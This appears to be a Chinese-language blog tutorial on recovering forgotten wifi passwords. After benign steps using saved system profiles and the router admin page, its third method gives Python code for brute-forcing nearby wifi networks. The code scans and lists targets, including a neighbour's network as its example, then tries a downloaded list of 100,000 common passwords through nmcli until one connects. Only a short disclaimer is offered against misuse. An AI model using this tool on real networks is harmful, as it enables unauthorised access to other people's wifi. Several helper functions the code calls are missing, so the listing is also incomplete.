用Python腳本找回忘記的wifi密碼
可以用Python寫個簡單腳本,幫你把wifi密碼找回來!這招主要是針對你有路由器管理權限或者電腦存過密碼的情況,純為學習和自救用,別拿去干壞事哦!
第一種方法
檢查電腦保存的wifi密碼你的電腦如果連過wifi,通常會把密碼存在系統里,咱們先試試把它挖出來!
Windows系統:
1. 打開“命令提示符”(按Win+R,輸入cmd回車)。
2. 輸入命令:netsh wlan show profile。這會列出你電腦連過的所有wifi名字。
3. 找到你想查的wifi名字,再輸入:netsh wlan show profile name="wifi名字"key=clear(把“wifi名字”換成實際的SSID)。
4. 看“關鍵內容”那一行,密碼就藏在那兒!
Mac系統:
1. 打開“終端”(Terminal)。
2. 輸入:security find-generic-password-ga"wifi名字" |grep"password:"(把“wifi名字”換成你的wifi名)。
3. 系統會顯示密碼,可能需要你輸入電腦的管理員密碼確認。
Python腳本輔助:
1. 如果手動查嫌麻煩,可以用Python腳本自動抓取。裝個subprocess模塊(Python自帶),寫幾行代碼調用上面的命令,自動提取wifi密碼。
2. 比如,腳本可以跑netsh命令,解析輸出,找出密碼,存到文件里,省得你手動翻。
第二種方法
找到路由器管理地址:
1. 路由器背面通常有標簽,寫著管理地址(像192.168.0.1或192.168.1.1)和默認賬號密碼(比如admin/admin)。
2. 在瀏覽器輸入這個地址,登錄路由器后臺。
3. 進入“無線設置”或“wifi設置”模塊,找到你的wifi名稱(SSID)。
4. 密碼通常在“無線安全”或“加密設置”里,直接顯示,或者點“顯示密碼”就能看到。
常見問題:
-- 如果忘了管理密碼,試試默認密碼(路由器標簽上寫的)。
--實在不行,長按路由器上的“Reset”鍵5-10秒,重置路由器(注意:這會清空所有設置,慎用!),然后用默認賬號密碼登錄,重新設置wifi密碼。
第三種方法
用Python腳本暴力猜密碼(備用方案)如果上面方法都不行,比如你沒路由器權限,電腦也沒存密碼,可以試試“暴力猜密碼”,這招得有點耐心,而且只對弱密碼管用!咱們用Python來實現,模擬高手操作。
裝工具包:
用Python的ssid庫(先跑pip install ssid裝好),掃描附近wifi,把名字(SSID)和加密類型存到networks列表。
第一步:掃描附近的wifi信號要找回wifi密碼,先得知道附近有哪些wifi信號。咱們寫個小函數,名叫display_targets,來抓wifi列表。
def display_targets(networks, security_type):
print("Select a target: \n")
rows, columns = os.popen('stty size', 'r').read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
spacer = " "
if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)
for index in range(calc):
spacer += "."
if index == (calc-1):
spacer += " "
print(str(i+1)+". "+networks[i]+spacer+security_type[i])
這段代碼會列出wifi名字,比如“隔壁老王wifi”,還帶上加密類型(WPA2啥的),看著就一目了然!
運行后,你會看到一個列表,標著序號和wifi名字,方便你挑想找密碼的那個wifi。
第二步:選定目標wifi找到wifi列表后,挑一個想找回密碼的wifi。這步超簡單,就是Python基礎操作。
def prompt_for_target_choice(max):
whileTrue:
try:
selected = int(input("\nEnter number of target: "))
if(selected >= 1and selected <= max):
return selected - 1
except Exception as e:
ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))
第三步:暴力猜密碼找回選好wifi后,咋找密碼?如果電腦沒存密碼,或者你沒路由器權限,可以試試“暴力猜密碼”。這招對弱密碼(像12345678)效果好,咱們用Python來實現!
--準備密碼字典:從網上找個常用密碼列表,比如10萬個wifi常用密碼
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8):
time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
顏色提示:紫色表示“正在試”,紅色表示“密碼不對”,綠色表示“找到密碼啦”!
--把所有函數串聯起來
def main():
require_root()
args = argument_parser()
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
注意事項
1. 合法性:這教程只用于找回你有權訪問的wifi密碼,比如自家或辦公室的,別用來破解別人的wifi,那是違法的!
2. 成功率:暴力猜密碼對復雜密碼(像16位隨機字符)基本沒戲,只適合簡單密碼(比如12345678)。
3. 備份設置:重置路由器前,記得備份重要數據,因為重置會清空所有配置。